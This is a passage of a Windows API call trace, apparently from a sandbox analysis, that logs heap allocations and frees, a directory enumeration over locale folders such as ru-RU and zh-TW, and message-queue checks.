(HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.588] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6140 [0116.589] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.589] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.589] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x310) returned 0x39f5338 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6118 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60f0 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60c8 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60a0 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6078 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5f88 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fb0 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f62a8 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f62d0 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f62f8 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6320 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6348 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6370 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6398 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f63c0 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f63e8 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6410 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6438 [0116.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6460 [0116.589] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.589] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6050 | out: hHeap=0xd10000) returned 1 [0116.589] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6028 | out: hHeap=0xd10000) returned 1 [0116.589] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6000 | out: hHeap=0xd10000) returned 1 [0116.589] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5fd8 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6168 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6190 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f61b8 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f61e0 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6208 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6230 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6258 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6280 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6140 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0116.590] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6140 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.590] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0116.590] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.590] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.590] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.590] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.590] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0116.590] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.590] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.591] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.591] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.591] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0116.591] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.591] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.591] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f4110 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f4110 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.594] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f4110 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f4110 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 